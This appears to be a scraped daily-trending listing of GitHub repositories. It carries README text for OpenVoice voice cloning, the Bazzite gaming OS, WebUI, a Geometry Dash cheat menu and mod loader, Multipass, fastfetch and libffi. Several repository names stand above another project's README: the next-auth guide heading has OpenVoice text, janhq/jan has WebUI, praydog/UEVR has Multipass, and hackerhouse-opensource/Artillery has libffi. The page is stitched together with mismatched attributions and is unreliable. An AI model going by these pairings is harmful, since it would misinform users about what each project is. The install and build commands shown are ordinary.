GitHub 1C Enterprise Daily Trending

AntonioErdeljac/next-auth-v5-advanced-guide

2024-01-03T01:25:10Z

Instant voice cloning by MyShell.

Join Our Community

Join our Discord community and select the Developer role upon joining to gain exclusive access to our developer-only channel! Don't miss out on valuable discussions and collaboration opportunities.

Introduction

As we detailed in our paper and website, the advantages of OpenVoice are three-fold:

1. Accurate Tone Color Cloning. OpenVoice can accurately clone the reference tone color and generate speech in multiple languages and accents.

2. Flexible Voice Style Control. OpenVoice enables granular control over voice styles, such as emotion and accent, as well as other style parameters including rhythm, pauses, and intonation.

3. Zero-shot Cross-lingual Voice Cloning. Neither of the language of the generated speech nor the language of the reference speech needs to be presented in the massive-speaker multi-lingual training dataset.

Video

OpenVoice has been powering the instant voice cloning capability of myshell.ai since May 2023. Until Nov 2023, the voice cloning model has been used tens of millions of times by users worldwide, and witnessed the explosive user growth on the platform.

Main Contributors

Zengyi Qin at MIT and MyShell
Wenliang Zhao at Tsinghua University
Xumin Yu at Tsinghua University
Ethan Sun at MyShell

Live Demo

Disclaimer

This is a implementation that approximates the performance of the internal voice clone technology of myshell.ai. The online version in myshell.ai has better 1) audio quality, 2) voice cloning similarity, 3) speech naturalness and 4) computational efficiency.

Installation

Clone this repo, and run

conda create -n openvoice python=3.9
conda activate openvoice
conda install pytorch==1.13.1 torchvision==0.14.1 torchaudio==0.13.1 pytorch-cuda=11.7 -c pytorch -c nvidia
pip install -r requirements.txt

Download the checkpoint from here and extract it to the checkpoints folder

Usage

1. Flexible Voice Style Control. Please see demo_part1.ipynb for an example usage of how OpenVoice enables flexible style control over the cloned voice.

2. Cross-Lingual Voice Cloning. Please see demo_part2.ipynb for an example for languages seen or unseen in the MSML training set.

3. Gradio Demo. Launch a local gradio demo with python -m openvoice_app --share.

4. Advanced Usage. The base speaker model can be replaced with any model (in any language and style) that the user prefer. Please use the se_extractor.get_se function as demonstrated in the demo to extract the tone color embedding for the new base speaker.

5. Tips to Generate Natural Speech. There are many single or multi-speaker TTS methods that can generate natural speech, and are readily available. By simply replacing the base speaker model with the model you prefer, you can push the speech naturalness to a level you desire.

Roadmap

Inference code
Tone color converter model
Multi-style base speaker model
Multi-style and multi-lingual demo
Base speaker model in other languages
EN base speaker model with better naturalness

Citation

@article{qin2023openvoice,
  title={OpenVoice: Versatile Instant Voice Cloning},
  author={Qin, Zengyi and Zhao, Wenliang and Yu, Xumin and Sun, Xin},
  journal={arXiv preprint arXiv:2312.01479},
  year={2023}
}

License

This repository is licensed under a Creative Commons Attribution-NonCommercial 4.0 International License, which prohibits commercial usage. MyShell reserves the ability to detect whether an audio is generated by OpenVoice, no matter whether the watermark is added or not.

Acknowledgements

This implementation is based on several excellent projects, TTS, VITS, and VITS2. Thanks for their awesome work!

ublue-os/bazzite

2024-01-03T01:25:10Z

Bazzite is an OCI image that serves as an alternative operating system for the Steam Deck, and a ready-to-game SteamOS-like for desktop computers, living room home theater PCs, and numerous other handheld PCs.

About & Features

Bazzite is an OCI image that serves as an alternative operating system for the Steam Deck, and a ready-to-game SteamOS-like for desktop computers and living room home theater PCs.

Bazzite is built from ublue-os/main and ublue-os/nvidia using Fedora technology, which means expanded hardware support and built in drivers are included. Additionally, Bazzite adds the following features:

Proprietary Nvidia drivers pre-installed.
Full hardware accelerated codec support for H264 decoding.
Full support for AMD's ROCM OpenCL/HIP run-times.
xone, xpadneo, and xpad-noone drivers for Xbox controllers.
Full support for DisplayLink.
Includes Valve's KDE themes from SteamOS.
LatencyFleX, vkBasalt, MangoHud, and OBS VkCapture installed and available by default
Support for Wallpaper Engine. _{^{(Only on KDE)}}
ROM Properties Page shell extension included.
Full support for Winesync/Fastsync/NTsync.
Distrobox preinstalled with automatic updates for created containers.
Automated duperemove and rmlint services for reducing the disk space used by wine prefix contents.
Support for HDMI CEC via libCEC.
System76-Scheduler preinstalled, providing automatic process priority tweaks to your focused application and keeping CPU time for background processes to a minimum.
Customized System76-Scheduler config with additional rules.
Uses Google's BBR TCP congestion control by default.
Input Remapper preinstalled and enabled. _{^{(Available but default-disabled on the Deck variant, may be enabled with ujust enable-input-remapper)}}
Bazzite Portal provides an easy way to install numerous applications and tweaks, including installing LACT and GreenWithEnvy.
Nix package manager with Fleek optionally available for install via Bazzite Portal.
Brew package manager optionally available for install via Bazzite Portal.
Waydroid preinstalled for running Android apps. Set it up with this quick guide. Future releases will offer to set this up for you through Bazzite Portal. _{^{(Not available on Nvidia builds)}}
Manage applications using Flatseal, Warehouse, and Gear Lever.
OpenRGB i2c-piix4 and i2c-nct6775 drivers for controlling RGB on certain motherboards.
OpenRazer drivers built in, Select OpenRazer in Bazzite Portal or run ujust install-openrazer in a terminal to begin using it.
OpenTabletDriver udev rules built in, with the full software suite installable via Bazzite Portal or by running ujust install-opentabletdriver in a terminal.
GCAdapter_OC driver for overclocking Nintendo's Gamecube Controller Adapter to 1000hz polling.
Out of the box support for Wooting keyboards.
Built in support for Southern Islands _{^{(HD 7000)}} and Sea Islands _{^{(HD 8000)}} AMD GPUs under the amdgpu driver.
A fix is available for a 32-bit Source 1 engine game bug _{^{(IE: TF2)}} that makes the game crash on launch - ujust patch-source1-tcmalloc
XwaylandVideoBridge is available for Discord screensharing on Wayland.
Webapp Manager is available for creating applications from websites for a variety of browsers, including Firefox.

Desktop

Common variant available as bazzite, suitable for desktop computers.

Automatic updates for the OS, Flatpaks, Nix packages ^{_{(Via Fleek)}}, and all Distrobox containers.

[!IMPORTANT]
ISOs can be downloaded from our releases page here, and a helpful install guide can be found here. If you experience any issues with installing Bazzite, then check out our troubleshoot guide.

If you're on an existing Universal Blue image follow these instructions. To rebase an existing upstream Fedora Silverblue/Kinoite ostree system to this image:

rpm-ostree rebase ostree-unverified-registry:ghcr.io/ublue-os/bazzite:latest

or for devices with Nvidia GPUs:

rpm-ostree rebase ostree-unverified-registry:ghcr.io/ublue-os/bazzite-nvidia:latest

For users with Secure Boot enabled: Run ujust enroll-secure-boot-key and enter the password ublue-os if prompted to enroll the required key.

Steam Deck/Home Theater PCs (HTPCs)

[!IMPORTANT]
Devices that are NOT the Steam Deck can still use the bazzite-deck images, but must use an AMD/Intel GPU.

Variant designed for usage as an alternative to SteamOS on the Steam Deck, and for a console-like experience on HTPCs, available as bazzite-deck:

Directly boots to Gamemode matching SteamOS's behavior.
Automatic duperemove greatly trims the size of compatdata.
Latest version of Mesa creates smaller shader caches and does not require them to prevent stutter.
Able to be booted even if the drive is full.
Support for every language supported by upstream Fedora.
Uses Wayland on the desktop with support for Steam input.
Features ported versions of most SteamOS packages, including drivers, firmware updaters, and fan controllers from the evlaV repository.
Patched Mesa for proper framerate control from Gamescope.
Comes with patches from SteamOS BTRFS for full BTRFS support for the SD card by default.
Ships with a ported copy of SDGyroDSU, enabled by default.
Option to install Decky Loader, EmuDeck, RetroDECK, and ProtonUp-Qt, among numerous other useful packages on installation.
Custom update system allows for the OS, Flatpaks, Nix packages ^{_{(Via Fleek)}}, and Distrobox images to be updated directly from the Gamemode UI.
Built in support for Windows dual-boot thanks to Fedora's installation of GRUB being left intact.
Update break something? Easily roll back to the previous version of Bazzite thanks to rpm-ostree's rollback functionality. You can even select previous images at boot.
Steam and Lutris preinstalled on the image as layered packages.
Discover Overlay for Discord pre-installed and automatically launches in both Gamemode and on the Desktop if Discord is installed. View the official documentation here.
Uses ZRAM_^(4GB) with the ZSTD compression algorithm by default with the option to switch back to a 1GB swap file and set a custom size for it if desired.
Kyber I/O scheduler to prevent I/O starvation when installing games or during background duperemove and rmlint processes.
Applies SteamOS's kernel parameters.
Color calibrated display profiles for matte and reflective Steam Deck screens included.
Default-disabled power-user features, including:
- Service for low-risk undervolting of the Steam Deck via RyzenAdj and Ryzen SMU, see ryzenadj.service and /etc/default/ryzenadj.
- Service for limiting the max charge level of the battery, see batterylimit.service and /etc/default/batterylimit. ^{_{(Works even when the device is off)}}
- Built in support for display overclocking. For example, add GAMESCOPE_OVERRIDE_REFRESH_RATE=40,70 to /etc/environment.
- Ability to use X11 on the desktop if desired by editing /etc/default/desktop-wayland.
- 32GB RAM mod your Steam Deck? Enjoy double the maximum VRAM amount, automatically applied. ^{_{(Can you share your soldering skills?)}}
Steam Deck hardware-specific services can be disabled by running ujust disable-deck-services in the terminal, useful for trying this image on other handhelds or for use on HTPCs.
More information can be found here on the Bazzite Steam Deck images.

[!WARNING]
Due to an upstream bug, Bazzite cannot be used on Steam Decks with 64GB eMMC storage at this time. Upgrading the storage resolves the issue.

[!IMPORTANT]
ISOs can be downloaded from our releases page here, and a helpful install guide can be found here. If you experience any issues with installing Bazzite, then check out our troubleshoot guide.

If you're on an existing Universal Blue image follow these instructions. To rebase an existing upstream Fedora Silverblue/Kinoite ostree system to this image:

rpm-ostree rebase ostree-unverified-registry:ghcr.io/ublue-os/bazzite-deck:latest

GNOME

Builds with the GNOME desktop environment are available in both desktop and deck flavors. These builds come with the following additional features:

Variable refresh rate support and fractional scaling enabled under Wayland.
Custom menu in the top bar for returning to game mode, launching Steam, and opening a number of useful utilities.
GSConnect preinstalled and ready to use.
Features optional Valve-inspired themes matching Vapor and VGUI2 from SteamOS.
Hanabi extension included to offer similar features to Wallpaper Engine in KDE.
Numerous optional extensions pre-installed, including important user experience fixes.
Automatic updates for the Firefox GNOME theme and Thunderbird GNOME theme. ^{_{(If installed)}}

[!IMPORTANT]
ISOs can be downloaded from our releases page here, and a helpful install guide can be found here. If you experience any issues with installing Bazzite, then check out our troubleshoot guide.

To rebase an existing ostree system to the desktop release:

rpm-ostree rebase ostree-unverified-registry:ghcr.io/ublue-os/bazzite-gnome:latest

To rebase an existing ostree system to the desktop with Nvidia drivers release:

rpm-ostree rebase ostree-unverified-registry:ghcr.io/ublue-os/bazzite-gnome-nvidia:latest

[!WARNING]
Due to an upstream bug, Bazzite cannot be used on Steam Decks with 64GB eMMC storage at this time.

To rebase an existing ostree system to the Steam Deck/HTPC release:

rpm-ostree rebase ostree-unverified-registry:ghcr.io/ublue-os/bazzite-deck-gnome:latest

Features from Upstream

Universal Blue

Flathub is enabled by default.
ujust commands for convenience.
Multi-media codecs out of the box.
Rollback Bazzite from any build within the last 90 days.

Features from Fedora Linux (Kinoite & Silverblue)

A rock solid and stable base.
System packages stay relatively up to date.
Can layer Fedora packages to the image without losing them between updates.
Security focused with SELinux preinstalled and configured out of the box.
The ability to rebase to different Fedora libostree images, if desired, without losing user data.
Printing support thanks to CUPS being preinstalled.

Why

Bazzite started as a project to resolve some of the issues that plague SteamOS, mainly out of date packages (despite an Arch base) and the lack of a functional package manager.

Despite this project also being image-based, you are able to install any Fedora package straight from the command line. These packages will persist across updates _{^{(So go ahead and install that obscure VPN software you spent an hour trying to get working in SteamOS)}}. Additionally, Bazzite is updated multiple times a week with packages from upstream Fedora, giving you the best possible performance and latest features - all on a stable base.

Bazzite ships with the latest Linux kernel and SELinux enabled by default with full support for secure boot _{^{(Run ujust enroll-secure-boot-key and enter the password ublue-os if prompted to enroll our key)}} and disk encryption, making this a sensible solution for general computing. ^{_{(Yes, you can print from Bazzite)}}

Read the FAQ for details on what makes Bazzite stand out from other Linux operating systems.

Showcase

Documentation & Newsletters

Find additional documentation surrounding the project here.

Check out our newsletters that get published on a regular basis for updates on the project.

Custom Packages

Ported SteamOS and ChimeraOS packages, among others used by Bazzite, are built on Copr in bazzite and bazzite-multilib.

Package	Status
bluez
discover-overlay
ds-inhibit
duperemove
extest
gamescope
gamescope-session-plus
gamescope-session-steam
gamescope-shaders
galileo-mura
gnome-randr-rust
gnome-shell-extension-bazzite-menu
gnome-shell-extension-caribou-blocker
gnome-shell-extension-hanabi
gnome-shell-extension-compiz-windows-effect
hhd
jupiter-fan-control
jupiter-hw-support-btrfs
mangohud
mesa
pipewire
powerbuttond
python3-hid
rmlint
ryzenadj
sdgyrodsu
steamdeck-dsp
steamdeck-gnome-presets
steamdeck-kde-presets
steamdeck-kde-presets-desktop
steam_notif_daemon
udisks2
upower
vpower
wireplumber
xorg-x11-server-Xwayland

Additionally, the following packages are used from other Copr repos:

Package	Status
gcadapter_oc-kmod
gnome-vrr
hl2linux-selinux
joycond
kernel-fsync
latencyflex-vulkan-layer
noise-suppression-for-voice
obs-vkcapture
prompt
rom-properties
steamdeck-kmod
system76-scheduler
VTFLib
wallpaper-engine-kde-plugin
webapp-manager

Verification

These images are signed with sigstore's cosign. You can verify the signature by downloading the cosign.pub key from this repo and running the following command:

cosign verify --key cosign.pub ghcr.io/ublue-os/bazzite

Contributor Metrics

Special Thanks

Bazzite is a community effort and wouldn't exist without everyone's support. Below are some of the people who've helped us along the way:

rei.svg - For creating our logo and overall branding.
evlaV - For making Valve's code available and for being this person.
ChimeraOS - For gamescope-session and for valuable support along the way.
Jovian-NixOS - For supporting us with technical issues and for creating a similar project. Seriously, go check it out. It's our Nix-based cousin.
sentry - For assistance with needed kernel patches and for creating the kernel-fsync repo we now use.
nicknamenamenick - For being the MVP nearly single-handedly upkeeping our documentation and support literature, and countless cases of helping users.
Steam Deck Homebrew - For choosing to support distributions other than SteamOS despite the extra work, and a special thanks to PartyWumpus for getting Decky Loader working with SELinux for us.
cyrv6737 - For the initial inspiration and the base that became bazzite-arch.

Build Your Own

Bazzite is built entirely in GitHub and creating your own custom version of it is as easy as forking this repository, adding a private signing key, and enabling GitHub actions.

Familiarize yourself on keeping secrets in github. You'll need to generate a new keypair with cosign. The public key can be in your public repo _{^{(Your users need it to check the signatures)}}, and you can paste the private key in Settings -> Secrets -> Actions with the name SIGNING_SECRET.

We also ship a config for the popular pull app if you'd like to keep your fork in sync with upstream. Enable this app on your repo to keep track of Bazzite changes while also making your own modifications.

Join The Community

You can find us on the Universal Blue Discord and also discuss Bazzite on our Discourse forums.

janhq/jan

2024-01-03T01:25:10Z

Use any web browser as GUI, with your preferred language in the backend and HTML5 in the frontend, all in a lightweight portable lib.

WebUI v2.4.2

WebUI is not a web-server solution or a framework, but it allows you to use any web browser as a GUI, with your preferred language in the backend and HTML5 in the frontend. All in a lightweight portable lib.

Download

Features

Portable (Needs only a web browser at runtime)
One header file
Lightweight (Few Kb library) & Small memory footprint
Fast binary communication protocol
Multi-platform & Multi-Browser
Using private profile for safety

Showcase

This text editor is a lightweight and portable example written in C using WebUI as the GUI library.

UI & The Web Technologies

Borislav Stanimirov discusses using HTML5 in the web browser as GUI at the C++ Conference 2019 (YouTube).

Web application UI design is not just about how a product looks but how it works. Using web technologies in your UI makes your product modern and professional, And a well-designed web application will help you make a solid first impression on potential customers. Great web application design also assists you in nurturing leads and increasing conversions. In addition, it makes navigating and using your web app easier for your users.

Why Use Web Browsers?

Today's web browsers have everything a modern UI needs. Web browsers are very sophisticated and optimized. Therefore, using it as a GUI will be an excellent choice. While old legacy GUI lib is complex and outdated, a WebView-based app is still an option. However, a WebView needs a huge SDK to build and many dependencies to run, and it can only provide some features like a real web browser. That is why WebUI uses real web browsers to give you full features of comprehensive web technologies while keeping your software lightweight and portable.

How Does it Work?

Think of WebUI like a WebView controller, but instead of embedding the WebView controller in your program, which makes the final program big in size, and non-portable as it needs the WebView runtimes. Instead, by using WebUI, you use a tiny static/dynamic library to run any installed web browser and use it as GUI, which makes your program small, fast, and portable. All it needs is a web browser.

Runtime Dependencies Comparison

	WebView	Qt	WebUI
Runtime Dependencies on Windows	WebView2	QtCore, QtGui, QtWidgets	*A Web Browser*
Runtime Dependencies on Linux	GTK3, WebKitGTK	QtCore, QtGui, QtWidgets	*A Web Browser*
Runtime Dependencies on macOS	Cocoa, WebKit	QtCore, QtGui, QtWidgets	*A Web Browser*

Documentation

Note We are currently writing documentation.

Build

Windows

# GCC
mingw32-make

# MSVC
nmake

Windows SSL/TLS (Optional)

Download and install the OpenSSL pre-compiled binaries for Windows:

MSVC: x64 OpenSSL v3.1.3 or 32Bit. Please check this Wiki list for more info.
MinGW: Curl for Windows win OpenSSL

# GCC
mingw32-make WEBUI_USE_TLS=1 WEBUI_TLS_INCLUDE="C:\curl-xxx-xxx-mingw\curl-xxx-xxx-mingw\include" WEBUI_TLS_LIB="C:\curl-xxx-xxx-mingw\curl-xxx-xxx-mingw\lib"

# MSVC
nmake WEBUI_USE_TLS=1 WEBUI_TLS_INCLUDE="C:\Program Files\OpenSSL-xxx\include" WEBUI_TLS_LIB="C:\Program Files\OpenSSL-xxx\lib"

Linux

# GCC
make

# Clang
make CC=clang

Linux SSL/TLS (Optional)

sudo apt update
sudo apt install libssl-dev

# GCC
make WEBUI_USE_TLS=1

# Clang
make WEBUI_USE_TLS=1 CC=clang

macOS

make

macOS SSL/TLS (Optional)

brew install openssl
make WEBUI_USE_TLS=1

Examples

Wrappers

Language	Status	Link
Go	✔️	Go-WebUI
Nim	✔️	Nim-WebUI
Pascal	✔️	Pascal-WebUI
Python	✔️	Python-WebUI
Rust	not complete	Rust-WebUI
TypeScript / JavaScript	✔️	Deno-WebUI
V	✔️	V-WebUI
Zig	not complete	Zig-WebUI
Odin	not complete	Odin-WebUI

Supported Web Browsers

Browser	Windows	macOS	Linux
Mozilla Firefox	✔️	✔️	✔️
Google Chrome	✔️	✔️	✔️
Microsoft Edge	✔️	✔️	✔️
Chromium	✔️	✔️	✔️
Yandex	✔️	✔️	✔️
Brave	✔️	✔️	✔️
Vivaldi	✔️	✔️	✔️
Epic	✔️	✔️	not available
Apple Safari	not available	coming soon	not available
Opera	coming soon	coming soon	coming soon

License

Licensed under MIT License.

Stargazers

jvisser/golden-axe-32x-edition

2024-01-03T01:25:53Z

Golden Axe ROM hack for the Sega Mega Drive/Genesis that adds 32X support

Sh4yy/tiny-stack

2024-01-03T01:25:51Z

A simple and tiny stack for building web applications using Astro, SQLite, and Litestream.

grbrlks/its-wednesday-my-dudes

2024-01-03T01:25:51Z

osalinasv/uuid-webapp

2024-01-03T01:25:51Z

A simple webtool for generating and converting UUIDv4

DaytimeCoderr/RobloxPingOptimizer

2024-01-03T01:26:06Z

msdirtbag/AzureDiagnosticSettings

2024-01-04T01:26:27Z

Rapid Azure Diagnostic deployments

Azure/maximo

2024-01-04T01:26:27Z

Maximo on Azure

TobyAdd/GDH

2024-01-03T01:26:45Z

Cheat menu for Geometry Dash. Powered by ImGui

GDH: Now for 2.2!

GDH - Free, integrated and first Geometry Dash mod menu for 2.2!

How to use?

Open latest release link
Download "Release.zip" archive
Extract all files from archive to Geometry Dash folder (that contains the GeometryDash.exe)
Run Geometry Dash and press: Tab for show integrated menu

Development

Some dependencies are needed: Git ; Visual Studio Code ; CMake

Now you can directly clone this repo or you can fork it.

Run this in your terminal on the folder where you want all the code:

Clone: git clone https://github.com/TobyAdd/GDH --recursive & cd GDH
Configure cmake -B build -A win32
Build: cmake --build build --config Release -j 4

You should find the result in build/Release

Credits: Ocornut for ImGui ; TsudaKageyu for MinHook

Special Thanks: howhathe for the ReadMe ; zeozeozeo for some coding stuff ; wint0r for StartPos switcher ; You. Thank for using!

geode-sdk/geode

2024-01-03T01:26:45Z

The ultimate Geometry Dash modding toolkit

Home page

Geode is a Geometry Dash mod loader and modding SDK with a modern approach towards mod development.

Why Geode?

Unlike previous mod loaders, which merely inject the DLLs and let devs handle the rest, Geode aims to be a more comprehensive project that provides all the tools needed for creating mods in one package.

Geode's goal is to solve mod incompatibility - to ensure that mods work together without buttons getting misplaced or hooks mysteriously disappearing.

"Hello World!" Example

Here's a Hello World mod in Geode:

#include <Geode/Bindings.hpp>
#include <Geode/modify/MenuLayer.hpp>

using namespace geode::prelude;

class $modify(MenuLayer) {
	void onMoreGames(CCObject*) {
		FLAlertLayer::create(
			"Geode",
			"Hello World from my Custom Mod!",
			"OK"
		)->show();
	}
};

This code modifies what happens when the "More Games" button is clicked on the home scene in Geometry Dash, showing a custom popup.

Documentation

Detailed documentation, tutorials, and installation instructions on using Geode can be found here.

New to modding GD? Geode's documentation also comes with a handy tutorial book that explains all the basics of GD modding!

Contribution

You can contribute to Geode by opening a Pull Request! Please follow the contribution guidelines.

Questions, help, etc.

If you have any further questions, need help, or just want to share your love for catgirls, be sure to join our Discord server!

praydog/UEVR

2024-01-03T01:26:45Z

Multipass orchestrates virtual Ubuntu instances

What is Multipass?

Multipass is a lightweight VM manager for Linux, Windows and macOS. It's designed for developers who want a fresh Ubuntu environment with a single command. It uses KVM on Linux, Hyper-V on Windows and QEMU on macOS to run the VM with minimal overhead. It can also use VirtualBox on Windows and macOS. Multipass will fetch images for you and keep them up to date.

Since it supports metadata for cloud-init, you can simulate a small cloud deployment on your laptop or workstation.

Project Status

Service	Status
CI
Snap
Codecov

Install Multipass

On Linux it's available as a snap:

sudo snap install multipass

For macOS, you can download the installers from GitHub or use Homebrew:

# Note, this may require you to enter your password for some sudo operations during install
# Mac OS users may need to disable their firewall to launch a multipass instance successfully
brew install --cask multipass

On Windows, download the installer from GitHub.

Usage

Find available images

$ multipass find
Image                       Aliases           Version          Description
core                        core16            20200213         Ubuntu Core 16
core18                                        20200210         Ubuntu Core 18
16.04                       xenial            20200721         Ubuntu 16.04 LTS
18.04                       bionic,lts        20200717         Ubuntu 18.04 LTS
20.04                       focal             20200720         Ubuntu 20.04 LTS
daily:20.10                 devel,groovy      20200721         Ubuntu 20.10

Launch a fresh instance of the current Ubuntu LTS

$ multipass launch ubuntu
Launching dancing-chipmunk...
Downloading Ubuntu 18.04 LTS..........
Launched: dancing chipmunk

Check out the running instances

$ multipass list
Name                    State             IPv4             Release
dancing-chipmunk        RUNNING           10.125.174.247   Ubuntu 18.04 LTS
live-naiad              RUNNING           10.125.174.243   Ubuntu 18.04 LTS
snapcraft-asciinema     STOPPED           --               Ubuntu Snapcraft builder for Core 18

Learn more about the VM instance you just launched

$ multipass info dancing-chipmunk
Name:           dancing-chipmunk
State:          RUNNING
IPv4:           10.125.174.247
Release:        Ubuntu 18.04.1 LTS
Image hash:     19e9853d8267 (Ubuntu 18.04 LTS)
CPU(s):         1
Load:           0.97 0.30 0.10
Disk usage:     1.1G out of 4.7G
Memory usage:   85.1M out of 985.4M

Connect to a running instance

$ multipass shell dancing-chipmunk
Welcome to Ubuntu 18.04.1 LTS (GNU/Linux 4.15.0-42-generic x86_64)

...

Don't forget to logout (or Ctrl-D) or you may find yourself heading all the way down the Inception levels... ;)

Run commands inside an instance from outside

$ multipass exec dancing-chipmunk -- lsb_release -a
No LSB modules are available.
Distributor ID:  Ubuntu
Description:     Ubuntu 18.04.1 LTS
Release:         18.04
Codename:        bionic

Stop an instance to save resources

$ multipass stop dancing-chipmunk

Delete the instance

$ multipass delete dancing-chipmunk

It will now show up as deleted:

Name                    State             IPv4             Release
snapcraft-asciinema     STOPPED           --               Ubuntu Snapcraft builder for Core 18
dancing-chipmunk        DELETED           --               Not Available

And when you want to completely get rid of it:

$ multipass purge

Get help


multipass help
multipass help <command>

Get involved!

Here's a set of steps to build and run your own build of Multipass. Please note that the following instructions are for building Multipass for Linux only. These instructions do not support building packages for macOS or Windows systems.

Build Dependencies

cd <multipass>
apt install devscripts equivs
mk-build-deps -s sudo -i

Building

cd <multipass>
git submodule update --init --recursive
mkdir build
cd build
cmake ../
make

Running Multipass daemon and client

First, install multipass's runtime dependencies. On amd64 architecture, you can achieve that with:

sudo apt update
sudo apt install libgl1 libpng16-16 libqt6core6 libqt6gui6 \
    libqt6network6 libqt6widgets6 libxml2 libvirt0 dnsmasq-base \
    dnsmasq-utils qemu-system-x86 qemu-utils libslang2 iproute2 \
    iptables iputils-ping libatm1 libxtables12 xterm

Then run multipass's daemon:

sudo <multipass>/build/bin/multipassd &

Copy the desktop file multipass clients expect to find in your home:

mkdir -p ~/.local/share/multipass/
cp <multipass>/data/multipass.gui.autostart.desktop ~/.local/share/multipass/

Optionally, enable auto-complete in bash:

source <multipass>/completions/bash/multipass

Finally, use multipass's clients:

<multipass>/build/bin/multipass launch --name foo  # CLI client
<multipass>/build/bin/multipass.gui                # GUI client

More information

See the Multipass documentation.

fastfetch-cli/fastfetch

2024-01-03T01:26:34Z

Like neofetch, but much faster because written mostly in C.

Fastfetch

Fastfetch is a neofetch-like tool for fetching system information and displaying them in a pretty way. It is written mainly in C, with performance and customizability in mind. Currently, Linux, Android, FreeBSD, MacOS and Windows 7+ are supported.

There are screenshots on different platforms

Installation

Linux

Debian / Ubuntu: Download fastfetch-<version>-Linux.deb from Github release page and dpkg -i fastfetch-<version>-Linux.deb
Arch Linux: sudo pacman -S fastfetch
Fedora: sudo dnf install fastfetch
Gentoo: sudo emerge --ask app-misc/fastfetch
NixOS: sudo nix-shell -p fastfetch
openSUSE: sudo zypper install fastfetch

Replace sudo with doas depending on what you use.

macOS

brew install fastfetch

Windows

scoop install fastfetch

You may also download it directly from GitHub releases page and extract the archive.

FreeBSD

pkg install fastfetch

Android (Termux)

pkg install fastfetch

Build from source

See Wiki: https://github.com/fastfetch-cli/fastfetch/wiki/Building

Usage

Run it with default configuration: fastfetch
Run it with all supported modules and find what you interest: fastfetch -c all.jsonc
Find all data that fastfetch detects: fastfetch -s <module> --format json
Display help messages: fastfetch --help
Generate config file based on command line arguments: fastfetch --arg1 --arg2 --gen-config

Customization

Fastfetch uses the JSONC (or JSON with comments) for configuration. See Wiki for detail. There are some premade config files in presets, including the ones used for the screenshots above. You can load them using -c <filename>. They may also serve as a good example for format arguments.

Logos can be heavily customized too; see the logo documentation for more information.

Packaging

Repositories

Manual

DEB / RPM package: cmake --build . --target package
Install directly: cmake --install . --prefix /usr/local

FAQ

Q: Why do you need a very performant version of neofetch?

I like putting neofetch in my ~/.bashrc to have a system overview whenever I use the terminal, but the slow speed annoyed me, so I created this. Also neofetch didn't output everything correctly (e.g Font is displayed as "[Plasma], Noto Sans, 10 [GTK2/3]") and writing my own tool gave me the possibility to fine tune it to run perfectly on at least my configuration.

Q: It does not display [*] correctly for me, what can I do?

This is most likely because your system is not implemented (yet). At the moment I am focusing more on making the core app better, than adding more configurations. Feel free to open a pull request if you want to add support for your configuration

Star History

Give it a star to support us!

hackerhouse-opensource/Artillery

2024-01-03T01:26:34Z

A portable foreign-function interface library.

Status

libffi-3.4.4 was released on October 23, 2022. Check the libffi web page for updates: URL:http://sourceware.org/libffi/.

What is libffi?

Compilers for high level languages generate code that follow certain conventions. These conventions are necessary, in part, for separate compilation to work. One such convention is the "calling convention". The "calling convention" is essentially a set of assumptions made by the compiler about where function arguments will be found on entry to a function. A "calling convention" also specifies where the return value for a function is found.

Some programs may not know at the time of compilation what arguments are to be passed to a function. For instance, an interpreter may be told at run-time about the number and types of arguments used to call a given function. Libffi can be used in such programs to provide a bridge from the interpreter program to compiled code.

The libffi library provides a portable, high level programming interface to various calling conventions. This allows a programmer to call any function specified by a call interface description at run time.

FFI stands for Foreign Function Interface. A foreign function interface is the popular name for the interface that allows code written in one language to call code written in another language. The libffi library really only provides the lowest, machine dependent layer of a fully featured foreign function interface. A layer must exist above libffi that handles type conversions for values passed between the two languages.

Supported Platforms

Libffi has been ported to many different platforms.

At the time of release, the following basic configurations have been tested:

Architecture	Operating System	Compiler
AArch64 (ARM64)	iOS	Clang
AArch64	Linux	GCC
AArch64	Windows	MSVC
Alpha	Linux	GCC
Alpha	Tru64	GCC
ARC	Linux	GCC
ARC32	Linux	GCC
ARC64	Linux	GCC
ARM	Linux	GCC
ARM	iOS	GCC
ARM	Windows	MSVC
AVR32	Linux	GCC
Blackfin	uClinux	GCC
CSKY	Linux	GCC
HPPA	HPUX	GCC
HPPA64	HPUX	GCC
KVX	Linux	GCC
IA-64	Linux	GCC
LoongArch64	Linux	GCC
M68K	FreeMiNT	GCC
M68K	Linux	GCC
M68K	RTEMS	GCC
M88K	OpenBSD/mvme88k	GCC
Meta	Linux	GCC
MicroBlaze	Linux	GCC
MIPS	IRIX	GCC
MIPS	Linux	GCC
MIPS	RTEMS	GCC
MIPS64	Linux	GCC
Moxie	Bare metal	GCC
Nios II	Linux	GCC
OpenRISC	Linux	GCC
PowerPC 32-bit	AIX	GCC
PowerPC 32-bit	AIX	IBM XL C
PowerPC 64-bit	AIX	IBM XL C
PowerPC	AMIGA	GCC
PowerPC	Linux	GCC
PowerPC	Mac OSX	GCC
PowerPC	FreeBSD	GCC
PowerPC 64-bit	FreeBSD	GCC
PowerPC 64-bit	Linux ELFv1	GCC
PowerPC 64-bit	Linux ELFv2	GCC
RISC-V 32-bit	Linux	GCC
RISC-V 64-bit	Linux	GCC
S390	Linux	GCC
S390X	Linux	GCC
SPARC	Linux	GCC
SPARC	Solaris	GCC
SPARC	Solaris	Oracle Solaris Studio C
SPARC64	Linux	GCC
SPARC64	FreeBSD	GCC
SPARC64	Solaris	Oracle Solaris Studio C
TILE-Gx/TILEPro	Linux	GCC
VAX	OpenBSD/vax	GCC
WASM32	Emscripten	EMCC
X86	FreeBSD	GCC
X86	GNU HURD	GCC
X86	Interix	GCC
X86	kFreeBSD	GCC
X86	Linux	GCC
X86	OpenBSD	GCC
X86	OS/2	GCC
X86	Solaris	GCC
X86	Solaris	Oracle Solaris Studio C
X86	Windows/Cygwin	GCC
X86	Windows/MinGW	GCC
X86-64	FreeBSD	GCC
X86-64	Linux	GCC
X86-64	Linux/x32	GCC
X86-64	OpenBSD	GCC
X86-64	Solaris	Oracle Solaris Studio C
X86-64	Windows/Cygwin	GCC
X86-64	Windows/MinGW	GCC
X86-64	Mac OSX	GCC
Xtensa	Linux	GCC

Please send additional platform test results to libffi-discuss@sourceware.org.

Installing libffi

First you must configure the distribution for your particular system. Go to the directory you wish to build libffi in and run the "configure" program found in the root directory of the libffi source distribution. Note that building libffi requires a C99 compatible compiler.

If you're building libffi directly from git hosted sources, configure won't exist yet; run ./autogen.sh first. This will require that you install autoconf, automake and libtool.

You may want to tell configure where to install the libffi library and header files. To do that, use the --prefix configure switch. Libffi will install under /usr/local by default.

